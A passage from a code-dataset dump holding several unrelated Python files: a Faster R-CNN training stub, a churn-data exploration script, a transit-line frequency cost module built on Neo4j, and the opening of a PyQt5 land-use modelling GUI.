com.mvc.model.net.vgg16 import VGG16\nfrom com.tool.anchor import Anchor\nfrom com.mvc.model.net import faster_rcnn\nimport numpy as np\n\n\nclass NeuralNetworks:\n def __init__(self, dataset):\n print(\"NeuralNetworks\")\n\n self.num_classes = len(ModelLocator.CLASSES) # 识别种类\n\n self.vgg16 = VGG16(ModelLocator.vgg16_model_path)\n\n self.model = faster_rcnn.FasterRCNN(self.num_classes)\n\n for step, item in enumerate(dataset):\n self.__training(item)\n # if step == 1:\n break\n\n def __training(self, data):\n image, image_width, image_height, gt_boxes = App().dataset_proxy.analytical(data)\n\n img = self.vgg16.predict(image) # (1,32,36,512)\n\n self.model(img, image_width, image_height, gt_boxes)\n\n # print(x)\n # self.stride = 16 # 下采样\n # self.anchor_scales = 2 ** np.arange(3, 6) # [8 16 32]\n # self.anchor_ratios = [0.5, 1, 2]\n #\n # Anchor(self.anchor_scales, self.anchor_ratios, self.stride)\n # anchors = Anchor().generate_anchors(image_width, image_height)\n # print(anchors)\n pass\n","repo_name":"alpxe/python-fasterrcnn-tf2.0","sub_path":"com/mvc/view/component/neural_networks.py","file_name":"neural_networks.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35911446544","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport os\nimport time\nimport warnings\nimport ppscore as pps\nimport operator\n\nfrom copy import deepcopy\nfrom tqdm import tqdm\nfrom functools import partial\nfrom sklearn.manifold import TSNE\nfrom sklearn.feature_selection import SelectPercentile, mutual_info_classif\nfrom sklearn.impute import SimpleImputer\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.cluster import KMeans\nfrom sklearn.metrics import silhouette_score\nfrom mlxtend.frequent_patterns import fpgrowth, association_rules\n\nfrom data.db import make_mysql_connection\n\n\nwarnings.filterwarnings('ignore')\n\n\ndef create_exploration_directories(images_path, files_path):\n \"\"\"\n Creates images_path and files_path to store exploration output:\n\n :param images_path: path in which to store images\n :param files_path: path in which to store files\n \"\"\"\n if not os.path.exists(images_path):\n os.makedirs(images_path)\n if not os.path.exists(files_path):\n os.makedirs(files_path)\n\n\ndef create_tsne_visualization(df, target, save_path, sample_size=10_000):\n \"\"\"\n Creates a t-SNE visualization and saves it into IMAGES_PATH. The visualization will help us visualize our entire\n dataset and will highlight the data points in each class. This will allow us to see how clustered or interspersed\n our target classes are.\n\n :param df: pandas dataframe\n :param target: name of the target\n :param sample_size: number of observations to sample since t-SNE is computationally expensive; default is 10_000\n :param save_path: path in which to save the output\n \"\"\"\n print('creating tsne visualization...')\n df = df.sample(n=sample_size)\n target_df = df[[target]]\n df = df.drop(target, 1)\n df = df.select_dtypes(include=['float64', 'float32', 'int'])\n df.dropna(how='all', inplace=True, axis=1)\n df = pd.DataFrame(SimpleImputer(strategy='mean', copy=False).fit_transform(df), columns=list(df))\n df = pd.DataFrame(StandardScaler().fit_transform(df), columns=list(df))\n\n tsne = TSNE(n_components=2, verbose=1, perplexity=40, n_iter=300)\n tsne_results = tsne.fit_transform(df)\n target_df['tsne_2d_one'] = tsne_results[:, 0]\n target_df['tsne_2d_two'] = tsne_results[:, 1]\n\n plt.figure(figsize=(16, 10))\n sns.scatterplot(\n x=\"tsne_2d_one\",\n y=\"tsne_2d_two\",\n palette=sns.color_palette(\"hls\", 2),\n data=target_df,\n hue=target,\n legend=\"full\",\n alpha=0.3\n )\n plt.title('TSNE Plot')\n plt.savefig(os.path.join(save_path, 'tsne.png'))\n plt.clf()\n\n\ndef analyze_categorical_feature_dispersion(df, feature, fill_na_value='unknown'):\n \"\"\"\n Finds the percentage of observations for each categorical level within a column.\n\n :param df: pandas dataframe\n :param feature: name of the feature to analyze\n :param fill_na_value: value to fill nulls; default is 'unknown'\n :returns: pandas dataframe\n \"\"\"\n df.fillna({feature: fill_na_value}, inplace=True)\n total_observations = len(df)\n grouped_df = pd.DataFrame(df.groupby(feature)[feature].count())\n grouped_df.columns = ['total_count']\n grouped_df.reset_index(inplace=True)\n grouped_df['percentage_of_category_level'] = grouped_df['total_count'] / total_observations\n grouped_df = grouped_df[[feature, 'total_count', 'percentage_of_category_level']]\n grouped_df.rename(columns={feature: 'feature'}, inplace=True)\n grouped_df['feature'] = feature + '_' + grouped_df['feature']\n grouped_df['category'] = feature\n return grouped_df\n\n\ndef make_density_plot_by_binary_target(df, feature, target, save_path):\n \"\"\"\n Creates an overlayed density plot. One density plot for the feature is plotted for the first target level. Then a\n second density plot for the feature is plotted for the second target level. The plot is saved to IMAGES_PATH.\n Per the name of the function, this only expects a binary target.\n\n :param df: pandas dataframe\n :param feature: name of the feature to plot\n :param target: name of the target\n :param save_path: path in which to save the output\n \"\"\"\n target_levels = list(df[target].unique())\n target_df = df[[target]]\n target_df.reset_index(inplace=True, drop=True)\n df = df[[feature]]\n df.reset_index(inplace=True, drop=True)\n df = pd.DataFrame(SimpleImputer(strategy='mean', copy=False).fit_transform(df), columns=list(df))\n df = pd.concat([target_df, df], axis=1)\n\n df_level0 = df.loc[df[target] == target_levels[0]]\n df_level0.rename(columns={feature: target_levels[0]}, inplace=True)\n p0 = sns.kdeplot(df_level0[target_levels[0]], shade=True, color='r', legend=True)\n df_level1 = df.loc[df[target] == target_levels[1]]\n df_level1.rename(columns={feature: target_levels[1]}, inplace=True)\n p1 = sns.kdeplot(df_level1[target_levels[1]], shade=True, color='b', legend=True)\n plt.xlabel(feature)\n plt.ylabel('density')\n plt.savefig(os.path.join(save_path, f'density_plot_by_target_for_{feature}.png'))\n plt.clf()\n\n\ndef calculate_binary_target_balance(df, target):\n \"\"\"\n Calculates the target class balances.\n\n :param df: pandas dataframe\n :param target: name of the target\n :returns: tuple containing the target level names and their respective percentage of total observations. the tuple\n contains two items, each a list. in each list, the first item is the class name and the second item is the\n percentage of observations\n \"\"\"\n total_observations = len(df)\n grouped_df = pd.DataFrame(df.groupby(target)[target].count())\n grouped_df.columns = ['count']\n grouped_df.reset_index(inplace=True)\n grouped_df['percentage'] = grouped_df['count'] / total_observations\n grouped_df = grouped_df[[target, 'percentage']]\n target_balance_tuple = [tuple(x) for x in grouped_df.values]\n return target_balance_tuple\n\n\ndef analyze_category_by_binary_target(df, feature, target, target_balance_tuple, fill_na_value='unknown'):\n \"\"\"\n For the categorical feature provided, for each of its levels, find the difference between the actual and expected\n percentages of the positive class.\n\n :param df: pandas dataframe\n :param feature: name of the feature to analyze\n :param target: name of the target\n :param target_balance_tuple: tuple that contains two items, each a list. in each list, the first item is the class\n name and the second item is the percentage of observations\n :param fill_na_value: value to fill nulls; default is 'unknown'\n \"\"\"\n class_0_percent = target_balance_tuple[0][1]\n class_1_name = target_balance_tuple[1][0]\n class_1_percent = target_balance_tuple[1][1]\n\n df.fillna({feature: fill_na_value}, inplace=True)\n grouped_df = pd.DataFrame(df.groupby([feature, target])[feature].count())\n grouped_df.columns = ['count']\n grouped_df.reset_index(inplace=True)\n\n feature_count_df = pd.DataFrame(df.groupby(feature)[feature].count())\n feature_count_df.columns = ['feature_count']\n feature_count_df.reset_index(inplace=True)\n grouped_df = pd.merge(grouped_df, feature_count_df, how='inner', on=feature)\n grouped_df['actual_percentage'] = grouped_df['count'] / grouped_df['feature_count']\n\n grouped_df['class_1_flag'] = np.where(grouped_df[target] == class_1_name, 1, 0)\n grouped_df['expected_observations'] = np.where(grouped_df['class_1_flag'] == 1,\n grouped_df['feature_count'] * class_1_percent,\n grouped_df['feature_count'] * class_0_percent)\n grouped_df['expected_percentage'] = grouped_df['expected_observations'] / grouped_df['feature_count']\n grouped_df['diff_from_expectation'] = grouped_df['actual_percentage'] - grouped_df['expected_percentage']\n grouped_df = grouped_df.loc[grouped_df[target] == class_1_name]\n grouped_df.rename(columns={feature: 'feature', 'count': 'positive_count'}, inplace=True)\n grouped_df['feature'] = feature + '_' + grouped_df['feature']\n grouped_df = grouped_df[['feature', 'positive_count', 'diff_from_expectation']]\n return grouped_df\n\n\ndef plot_category_level_counts_and_target_connection(connection_df, dispersion_df, save_path):\n \"\"\"\n Plots the difference between the actual and expected percentages of the positive class (diff_from_expectation)\n along with the percentage of observations for each category level (percentage_of_category_level).\n\n :param connection_df: dataframe produced by analyze_categorical_feature_dispersion\n :param dispersion_df: dataframe produced by analyze_category_by_binary_target\n :param save_path: path in which to save the output\n \"\"\"\n merged_df = pd.merge(dispersion_df, connection_df, how='left', on='feature')\n merged_df.fillna(value=0, inplace=True)\n merged_df = pd.melt(merged_df, id_vars=['feature', 'category'])\n merged_df = merged_df.loc[merged_df['variable'].isin(['percentage_of_category_level', 'diff_from_expectation'])]\n\n feature_categories = list(merged_df['category'].unique())\n for category in feature_categories:\n temp_df = merged_df.loc[merged_df['category'] == category]\n sns.factorplot(x='feature', y='value', hue='variable', data=temp_df, kind='bar', legend=False)\n plt.title('Category Connection Summary for ' + category)\n plt.xticks(rotation=90)\n plt.legend(loc='upper right')\n plt.tight_layout()\n plt.savefig(os.path.join(save_path, f'category_connection_summary_for_{category}.png'))\n plt.clf()\n\n\ndef generate_summary_statistics(df, target, save_path):\n \"\"\"\n Calculates summary statistics for each target level and writes the results into FILES_PATH.\n\n :param df: pandas dataframe\n :param target: name of the target\n :param save_path: path in which to save the output\n \"\"\"\n total_df = df.describe(include='all')\n total_df['level'] = 'total'\n for level in (list(set(df[target].tolist()))):\n temp_df = df.loc[df[target] == level]\n temp_df = temp_df.describe(include='all')\n temp_df['level'] = level\n total_df = total_df.append(temp_df)\n total_df.to_csv(os.path.join(save_path, 'summary_statistics.csv'), index=True)\n\n\ndef find_highly_correlated_features(df, save_path, correlation_cutoff=0.98):\n \"\"\"\n Finds the correlation among all features in a dataset and flags those that are highly correlated. Output is saved\n into FILES_PATH. This will produce some false positives for dummy-coded features.\n\n :param df: pandas dataframe\n :param correlation_cutoff: cutoff for how high a correlation must be to be flagged; default is 0.98\n :param save_path: path in which to save the output\n \"\"\"\n df = pd.get_dummies(df, dummy_na=True)\n df = pd.DataFrame(df.corr().abs().unstack())\n df.reset_index(inplace=True)\n df.columns = ['feature1', 'feature2', 'correlation']\n df.sort_values(by=['correlation', 'feature1', 'feature2'], ascending=False, inplace=True)\n df['lag_feature1'] = df['feature1'].shift(-1)\n df['lag_feature2'] = df['feature2'].shift(-1)\n df['duplication'] = np.where((df['feature2'] == df['lag_feature1']) &\n (df['feature1'] == df['lag_feature2']),\n 'yes', 'no')\n df = df.loc[df['feature1'] != df['feature2']]\n df = df.loc[df['duplication'] == 'no']\n df.drop(['duplication', 'lag_feature1', 'lag_feature2'], 1, inplace=True)\n df['high_correlation'] = np.where(df['correlation'] >= correlation_cutoff, 'yes', 'no')\n df.to_csv(os.path.join(save_path, 'feature_correlation.csv'), index=False)\n\n\ndef score_features_using_mutual_information(df, target, save_path):\n \"\"\"\n Scores univariate features using mutual information. Saves the output locally.\n\n :param df: pandas dataframe\n :param target: name of the target\n :param save_path: path in which to save the output\n \"\"\"\n print('scoring features using mutual information...')\n y = df[target]\n x = df.drop([target], axis=1)\n x_numeric = x.select_dtypes(include='number')\n x_numeric.dropna(how='all', inplace=True, axis=1)\n x_numeric = pd.DataFrame(SimpleImputer(strategy='mean', copy=False).fit_transform(x_numeric),\n columns=list(x_numeric))\n x_categorical = x.select_dtypes(include='object')\n x_categorical = pd.get_dummies(x_categorical, dummy_na=True)\n\n def _fit_feature_selector(x, scorer, discrete_features):\n scorer = partial(scorer, discrete_features=discrete_features)\n feature_selector = SelectPercentile(scorer)\n _ = feature_selector.fit_transform(x, y)\n feature_scores = pd.DataFrame()\n feature_scores['score'] = feature_selector.scores_\n feature_scores['attribute'] = x.columns\n return feature_scores\n\n numeric_scores = _fit_feature_selector(x_numeric, mutual_info_classif, discrete_features=False)\n categorical_scores = _fit_feature_selector(x_categorical, mutual_info_classif, discrete_features=True)\n feature_scores = pd.concat([numeric_scores, categorical_scores])\n feature_scores.reset_index(inplace=True, drop=True)\n feature_scores.sort_values(by='score', ascending=False, inplace=True)\n feature_scores.to_csv(os.path.join(save_path, 'univariate_features_mutual_information.csv'), index=False)\n\n\ndef run_predictive_power_score(df, target, save_path):\n \"\"\"\n Calculates the predictive power score (pps) for each feature. If the score is 0, then it is not any better than a\n baseline model. If it's 1, then the feature is a perfect predictor. The model_score is the weighted F1 score for\n a univariate model predicting the target.\n\n :param df: pandas dataframe\n :param target: name of our target\n :param save_path: path in which to save the output\n \"\"\"\n df = pd.get_dummies(df, dummy_na=True)\n df[target] = df[target].astype(str)\n pps_df = pd.DataFrame({})\n for feature in tqdm(list(df)):\n if feature != target:\n temp_score_dict = pps.score(df, feature, target)\n temp_ppscore = temp_score_dict.get('ppscore')\n temp_model_score = temp_score_dict.get('model_score')\n temp_df = pd.DataFrame({'feature': [feature], 'pps': [temp_ppscore], 'model_score': [temp_model_score]})\n pps_df = pps_df.append(temp_df)\n pps_df.to_csv(os.path.join(save_path, 'predictive_power_score.csv'), index=False)\n\n\ndef run_kmeans_clustering(df, drop_list, max_clusters, fill_na_value=0, samples=25_000):\n \"\"\"\n Runs a k-means clustering algorithm to assign each observation to a cluster.\n\n :param df: pandas dataframe we want to run the clustering algorithm on\n :param drop_list: features we want to exclude from clustering\n :param max_clusters: the maximum number of clusters to potentially have\n :param fill_na_value: value to fill for missing numeric values\n :param samples: Since k-means can be computationally expensive, we might want to only run it on a subset of data\n :returns: pandas dataframe that can be used in get_cluster_summary()\n \"\"\"\n print('running k-means clustering...')\n append_df = deepcopy(df)\n append_df = append_df.sample(n=samples)\n append_df = pd.get_dummies(append_df, dummy_na=True)\n append_df.fillna(value=fill_na_value, inplace=True)\n cluster_df = append_df.drop(drop_list, 1)\n cluster_df = pd.DataFrame(StandardScaler().fit_transform(cluster_df), columns=list(cluster_df))\n silhouette_dict = {}\n n_clusters = list(np.arange(2, max_clusters + 1, 1))\n for n in tqdm(n_clusters):\n kmeans = KMeans(n_clusters=n, random_state=19)\n labels = kmeans.fit_predict(cluster_df)\n silhouette_mean = silhouette_score(cluster_df, labels)\n silhouette_dict[n] = silhouette_mean\n best_n = max(silhouette_dict.items(), key=operator.itemgetter(1))[0]\n kmeans = KMeans(n_clusters=best_n, random_state=19)\n labels = kmeans.fit_predict(cluster_df)\n append_df['cluster'] = labels\n return append_df\n\n\ndef get_cluster_summary(df, cluster_column_name, save_path):\n \"\"\"\n Produces a summary of the cluster results and saves it locally.\n\n :param df: pandas dataframe produced by run_kmeans_clustering()\n :param cluster_column_name: name of the column that identifies the cluster label\n :param save_path: path in which to save the output\n \"\"\"\n mean_df = df.groupby(cluster_column_name).mean().reset_index()\n sum_df = df.groupby(cluster_column_name).sum().reset_index()\n count_df = df.groupby(cluster_column_name).count().reset_index()\n mean_df = pd.melt(mean_df, id_vars=[cluster_column_name])\n mean_df.rename(columns={'value': 'mean'}, inplace=True)\n sum_df = pd.melt(sum_df, id_vars=[cluster_column_name])\n sum_df.rename(columns={'value': 'sum'}, inplace=True)\n count_df = pd.melt(count_df, id_vars=[cluster_column_name])\n count_df.rename(columns={'value': 'count'}, inplace=True)\n summary_df = pd.merge(mean_df, sum_df, how='inner', on=['cluster', 'variable'])\n summary_df = pd.merge(summary_df, count_df, how='inner', on=['cluster', 'variable'])\n summary_df.to_csv(os.path.join(save_path, 'cluster_summary.csv'), index=False)\n\n\ndef run_association_rules(df, drop_list, min_support, lift_threshold, save_path):\n \"\"\"\n Runs association rules mining on the provided data.\n\n :param df: pandas dataframe we want to run the algorithm on\n :param drop_list: list of features we want to exclude\n :param min_support: the minimum support necessary\n :param lift_threshold: the minimum lift necessary\n :param save_path: path in which to save the output\n :returns: tuple including the 1) pandas dataframe of the association rules meeting min_support and lift_threshold,\n 2) pandas dataframe of the transformed df that was used to run association rules mining\n \"\"\"\n print('running association rules...')\n drop_df = df[drop_list].reset_index(drop=True)\n assoc_df = df.drop(drop_list, 1)\n num_cols = list(assoc_df.select_dtypes(include='number'))\n\n for col in num_cols:\n assoc_df[col] = pd.qcut(assoc_df[col], q=4, labels=['1', '2', '3', '4']).astype(str)\n\n assoc_df = pd.get_dummies(assoc_df)\n cat_cols = list(assoc_df)\n for col in cat_cols:\n assoc_df[col] = np.where(assoc_df[col] == 1, True, False)\n\n frequent_itemsets = fpgrowth(assoc_df, min_support=min_support, use_colnames=True)\n rules_df = association_rules(frequent_itemsets, metric='lift', min_threshold=lift_threshold)\n rules_df.sort_values(by='lift', ascending=False, inplace=True)\n rules_df.to_csv(os.path.join(save_path, 'association_rules.csv'), index=False)\n assoc_df = pd.concat([assoc_df, drop_df], axis=1)\n return rules_df, assoc_df\n\n\ndef get_association_rules_summary(rules_df, assoc_df, interest_column, save_path):\n \"\"\"\n Summarizes the association rules mining results by the interest_column, which will often be the target.\n\n :param rules_df: rules_df returned by run_association_rules()\n :param assoc_df: assoc_df returned by run_association_rules()\n :param interest_column: the column we want to summarize by rule\n :param save_path: path in which to save the output\n \"\"\"\n rules_df['antecedents'] = rules_df['antecedents'].astype(str) + ','\n rules_df['all_rules'] = rules_df['antecedents'] + ' ' + rules_df['consequents'].astype(str)\n rules_df['all_rules'] = rules_df['all_rules'].str.replace('frozenset', '').str.replace('{', '')\\\n .str.replace('}', '').str.replace('(', '').str.replace(')', '')\n rules_df['all_rules'] = rules_df['all_rules'].apply(lambda x: x.split(','))\n\n summary_df = pd.DataFrame()\n for index, row in tqdm(rules_df.iterrows()):\n temp_df = deepcopy(assoc_df)\n for r in row['all_rules']:\n r = r.replace(\"'\", '').lstrip()\n temp_df = temp_df.loc[temp_df[r] == True]\n outcome = temp_df[interest_column].mean()\n temp_summary_df = pd.DataFrame({\n 'outcome': [outcome],\n 'outcome_count': [len(temp_df)],\n 'rules': [row['all_rules']]\n })\n summary_df = summary_df.append(temp_summary_df)\n summary_df.sort_values(by=['outcome'], ascending=False, inplace=True)\n summary_df.to_csv(os.path.join(save_path, 'association_rules_summary.csv'), index=False)\n\n\ndef get_data_to_explore():\n \"\"\"\n Tightly-coupled function to retrieve the data we want to explore.\n \"\"\"\n df = pd.read_sql('''select * from churn_model.churn_data;''', make_mysql_connection('churn-model-mysql'))\n df['churn'] = np.where(df['churn'].str.startswith('y'), 1, 0)\n df.drop(['id', 'meta__inserted_at', 'client_id', 'acquired_date'], 1, inplace=True)\n return df\n\n\ndef run_exploration(df, target, files_path, images_path, max_kmeans_clusters, min_assoc_rules_support,\n assoc_rules_lift_threshold):\n \"\"\"\n Runs a series of exploration functions, which include producing / finding:\n - TSNE visualization\n - Summary statistics\n _ Highly correlated features\n - Univariate feature importance\n - K-means clustering\n - Association rules mining\n - Categorical dispersion\n - Density plots by target\n\n :param df: dataframe to explore\n :param target: name of the target column\n :param files_path: path in which to save files\n :param images_path: path in which to save images\n :param max_kmeans_clusters: max number of clusters to consider\n :param min_assoc_rules_support: min support needed for association rules mining\n :param assoc_rules_lift_threshold: min lift needed for association rules mining\n \"\"\"\n create_tsne_visualization(df, target, images_path)\n generate_summary_statistics(df, target, files_path)\n find_highly_correlated_features(df, files_path)\n score_features_using_mutual_information(df, target, files_path)\n run_predictive_power_score(df, target, files_path)\n\n cluster_df = run_kmeans_clustering(df, [target], max_kmeans_clusters)\n get_cluster_summary(cluster_df, 'cluster', files_path)\n assoc_rules_df, raw_assoc_df = run_association_rules(df, [target], min_assoc_rules_support,\n assoc_rules_lift_threshold, files_path)\n get_association_rules_summary(assoc_rules_df, raw_assoc_df, target, files_path)\n\n categorical_cols = list(df.select_dtypes(include='object'))\n numeric_cols = list(df.select_dtypes(include='number').drop([target], 1))\n target_balance_tuple = calculate_binary_target_balance(df, target)\n categorical_dispersion_df = pd.DataFrame()\n category_connection_df = pd.DataFrame()\n\n for column in categorical_cols:\n temp_categorical_dispersion_df = analyze_categorical_feature_dispersion(df, column)\n categorical_dispersion_df = categorical_dispersion_df.append(temp_categorical_dispersion_df)\n temp_category_connection_df = analyze_category_by_binary_target(df, column, target, target_balance_tuple)\n category_connection_df = category_connection_df.append(temp_category_connection_df)\n categorical_dispersion_df.to_csv(os.path.join(files_path, 'categorical_dispersion.csv'), index=False)\n category_connection_df.to_csv(os.path.join(files_path, 'categorical_connection.csv'), index=False)\n plot_category_level_counts_and_target_connection(category_connection_df, categorical_dispersion_df, images_path)\n\n for feature in numeric_cols:\n make_density_plot_by_binary_target(df, feature, target, images_path)\n\n\ndef main(target, images_path, files_path, max_kmeans_clusters=7, min_assoc_rules_support=0.1,\n assoc_rules_lift_threshold=2):\n \"\"\"\n Ingests and explores data.\n\n :param target: name of the target column\n :param files_path: path in which to save files\n :param images_path: path in which to save images\n :param max_kmeans_clusters: max number of clusters to consider\n :param min_assoc_rules_support: min support needed for association rules mining\n :param assoc_rules_lift_threshold: min lift needed for association rules mining\n \"\"\"\n start_time = time.time()\n create_exploration_directories(images_path, files_path)\n df = get_data_to_explore()\n run_exploration(\n df=df,\n target=target,\n files_path=files_path,\n images_path=images_path,\n max_kmeans_clusters=max_kmeans_clusters,\n min_assoc_rules_support=min_assoc_rules_support,\n assoc_rules_lift_threshold=assoc_rules_lift_threshold\n )\n print(\"--- %s seconds for script to run ---\" % (time.time() - start_time))\n\n\nif __name__ == \"__main__\":\n main(\n target='churn',\n images_path=os.path.join('utilities', 'output_files'),\n files_path=os.path.join('utilities', 'output_images')\n )\n","repo_name":"micahmelling/applied_data_science","sub_path":"utilities/explore.py","file_name":"explore.py","file_ext":"py","file_size_in_byte":24816,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"71731842920","text":"import random\nimport operator\n\n\nquantityInLine, typeOfTransport, frecuencyOfLine = []\ncost = 0\n\n\ndef getQuantityPeople(tx, lines, time):\n linesPeople = {}\n for lineId, line in lines.items():\n for record in tx.run(\"MATCH ()-[R:LINE {line: line}]-()\",\n line=line):\n x = record[\"R.people\"]\n linesPeople[lineId] = x[time]\n return linesPeople\n\n\ndef getFreq(tx, lines, time):\n linesFreqs = {}\n for lineId, line in lines.items():\n for record in tx.run(\"MATCH ()-[R:LINE {line: line}]-()\",\n line=line):\n x = record[\"R.frequencies\"]\n linesFreqs[lineId] = x[time]\n return linesFreqs\n\n\ndef getKind(tx, lines):\n linesKinds = {}\n for lineId, line in lines.items():\n for record in tx.run(\"MATCH ()-[R:LINE {line: line}]-()\",\n line=line):\n x = record[\"R.kind\"]\n linesKinds[lineId] = x\n return linesKinds\n\n\ndef actualGraphCost(driver, lines, time):\n with driver.session() as session:\n global quantityInLine, typeOfTransport, frecuencyOfLine\n quantityInLine = session.read_transaction(getQuantityPeople, lines, time)\n typeOfTransport = session.read_transaction(getFreq, lines, time)\n frecuencyOfLine = session.read_transaction(getKind, lines)\n global cost\n cost = 0\n keys = quantityInLine.keys()\n for i in quantityInLine:\n users = quantityInLine[i]\n type = typeOfTransport[keys[i]]\n frec = frecuencyOfLine[keys[i]]\n capacity = 0\n if type == 0:\n capacity = 90\n elif type == 1:\n capacity = 100\n elif type == 2:\n capacity = 270\n elif type == 3:\n capacity = 90\n elif type == 4:\n capacity = 500\n elif type == 5:\n capacity = 6\n else:\n capacity = 5\n cost = cost + (users - capacity*frec)**2\n return cost\n\n\ndef obtainLines():\n global quantityInLine\n return quantityInLine.values()\n\n\ndef obtainLinesMostUsed(lines):\n #quantityInLine = session.read_transaction(getLinkFreq, linkIdIn, linkIdOutGraph, linkLine, linkType)\n #return sorted(quantityInLine.items(),key=operator.itemgetter(1))\n global quantityInLine\n return sorted(quantityInLine.values())\n\n\ndef obtainLinesLeastUsed(lines):\n #quantityInLine = session.read_transaction(getLinkFreq, linkIdIn, linkIdOutGraph, linkLine, linkType)\n #return sorted(quantityInLine.items(), key=operator.itemgetter(1))\n global quantityInLine\n return sorted(quantityInLine, key=quantityInLine.get, reverse = True)\n\n\ndef modifyFreq(linia, accio):\n global quantityInLine, typeOfTransport, frecuencyOfLine, cost\n user = quantityInLine[linia]\n freq = frecuencyOfLine[linia]\n type = typeOfTransport[linia]\n if type == 0:\n capacity = 90\n elif type == 1:\n capacity = 100\n elif type == 2:\n capacity = 270\n elif type == 3:\n capacity = 90\n elif type == 4:\n capacity = 500\n elif type == 5:\n capacity = 6\n else:\n capacity = 5\n if accio == \"increment\":\n # increment the frecuency of the line\n # only if the value is less than the maximum\n if freq+2 < 15:\n cost = cost - (user - capacity*freq)**2 + (user - capacity*(freq+2))**2\n frecuencyOfLine[linia] = freq+2\n elif accio == \"decrease\":\n # decrease the frecuency of the line\n # only if the value is greater than the minimum\n if freq-2 >= 0:\n cost = cost - (user - capacity * freq) ** 2 + (user - capacity * (freq - 2)) ** 2\n frecuencyOfLine[linia] = freq-2\n return cost\n\n\ndef calculateGraph(linia):\n # For the last modifyFreq with the modification in the line\n # change the graph\n res = 1\n\n\ndef paintGraph():\n # paint the resultant graph\n print(\"Painting the graph\")","repo_name":"jaumefib/lauzhack2018","sub_path":"funcions.py","file_name":"funcions.py","file_ext":"py","file_size_in_byte":4036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"2116199065","text":"#python 3.5.2\nimport sys, os, random, time, re #,imp\nimport shutil,tempfile\nimport os.path\nfrom os.path import basename, splitext\nfrom array import array\nfrom datetime import datetime\nfrom collections import OrderedDict\n\n#################QT GUI IMPORTS#################\nfrom PyQt5 import QtCore, QtGui,QtNetwork,QtWidgets\nfrom PyQt5.QtCore import Qt,QFileInfo,QFile,QUrl\nfrom PyQt5.QtCore import pyqtSlot\nfrom PyQt5.QtGui import QColor,QBrush\nfrom PyQt5.QtWidgets import QLineEdit,QApplication,QTableWidgetItem,QPushButton,QLabel,QFileDialog,QComboBox,QMessageBox,QColorDialog\n#from PyQt5.QtWebEngineWidgets import QWebEngineView\nfrom LULCgui import Ui_LULCModel\nfrom math import sqrt\n\n################Resource File###################\nimport resources_rc\n\n#################FOR R IMPORT####################\nimport rpy2.robjects as R\nfrom rpy2.robjects.packages import importr\n\n#################FOR MAP Display and Print########\n\n\n\n__consti = 0\n\n\nclass StatusBarThread(QtCore.QThread):\n trigger = QtCore.pyqtSignal(int)\n\n def __init__(self,statusBar, parent=None):\n QtCore.QThread.__init__(self)\n self.statusBar=statusBar\n self.startTime = datetime.now();\n self.message=\"\"\n \n\n def setup(self, thread_no):\n self.thread_no = thread_no\n\n def run(self):\n while(1==1):\n time.sleep(1)\n timediff=datetime.now()-self.startTime\n self.message=\"TotalElapsed Time(sec)\"+str(timediff.seconds)\n #print(self.message)\n\n def getMessage(self):\n return(self.message)\n\n\nclass MyForm(QtWidgets.QMainWindow):\n\n ###############################333\n #Add all the save variable here\n global __consti\n __projectDirectory = \".\"\n __raster = True\n __currentDirectory=\".\"\n __T0File = \"\"\n __T1File = \"\"\n __T0Year = 0\n __T1Year = 0\n __OutputFile= \"2005.tif\"\n __shpfileT0 = \"\"\n __shpfileT1 = \"\"\n __checkOnScreen = 1\n __neughbourl=[]\n __DriverDictionaryT1 = {}\n __DriverDictionaryT2 = {}\n __modelNAValue=128\n __driversT1 = []\n __transitionMatrix=[]\n __noOfClasses=0\n __className=[]\n customlist = []\n res = \"\"\n Coeffcient = []\n __T1File = \"\"\n __T0File = \"\"\n __MASKFile=\"\"\n __AOIFile=\"\"\n __modelformula=\"\"\n __modeltype=\"\"\n #ModelType = \"logistic\"\n __Drivername = []\n noOfDrivers = 0\n __confidenceinterval=[]\n __demand=[]\n processingstep=\"Data Preparation\"\n plot=\"onscreen\"\n __installedDir=\".\"\n __debug=1\n __suitabilityFileDirectory=\"\"\n __ReferenceFile=R.NA_Logical\n currentLogTime=\"19760101000000\"\n\n def r_converToRaster():\n rvalue = R.r['pi']\n #\n\n\n def __init__(self, parent=None):\n #R.r(''' source('Rasterise_dev_68.r') ''')\n #R.r(self.rcode)\n QtWidgets.QWidget.__init__(self, parent)\n self.ui = Ui_LULCModel()\n self.ui.setupUi(self)\n #All the new objects here as self.ui.\n self.modelSummary=\"NULL\"\n #self.rcode=unicode(\"\"\"\n #Rcode\n #\"\"\"\n #,\"utf-8\")\n self.currentLogTime = datetime.now().strftime('%Y%m%d%H%M%S') \n self.prepareExecutionEnv()\n self.prepareR()\n self.initModelParam()\n self.initGui()\n self.initStatusBar() \n\n def getStatus(self):\n self.statusBar().showMessage(self.statusMessage.getMessage())#+\" \"+\"Doing:-\"+self.processingstep)#view+str(R.r('getRStatus()')))\n\n def initStatusBar(self):\n self.statusMessage=StatusBarThread(self.ui.statusBar)\n self.statusMessage.start()\n self.timer = QtCore.QTimer()\n self.timer.timeout.connect(self.getStatus)\n # check every second\n self.timer.start(1000*1)\n\n def initGui(self):\n self.setGeometry(50,50,900,600)\n self.resize(900,600)\n self.setWindowTitle(\"Open-source Land-use Land-cover Dynamics Modeling Platfrom ver-1.0\")\n self.ui.leOutputFile_DataPreparationOutputSection.setText(\"\")\n self.ui.twSelectDrivers_DriverSelectionT0.resizeColumnsToContents()\n self.loadHelpFile()\n #QtCore.QMetaObject.connectSlotsByName(self)\n\n def initModelParam(self):\n self.__demand=R.NA_Logical\n self.__modelNAValue=R.NA_Logical\n self.__MASKFile=R.NA_Logical\n self.__AOIFile=R.NA_Logical\n self.__suitabilityFileDirectory=R.NA_Logical\n\n #############################################################################\n def loadHelpFile(self):\n fileName=self.__installedDir+\"/docs/OpenLDM.html\"\n fd = QFile(fileName)\n if not fd.open(QtCore.QIODevice.ReadOnly):\n QtGui.QMessageBox.information(self, \"Unable to open file\",fd.errorString())\n return\n\n output = QtCore.QTextStream(fd).readAll()\n # Display contents.\n self.setBaseUrl(QtCore.QUrl.fromLocalFile(fileName))\n self.ui.webView_Help.setHtml(output, self.baseUrl)\n\n def 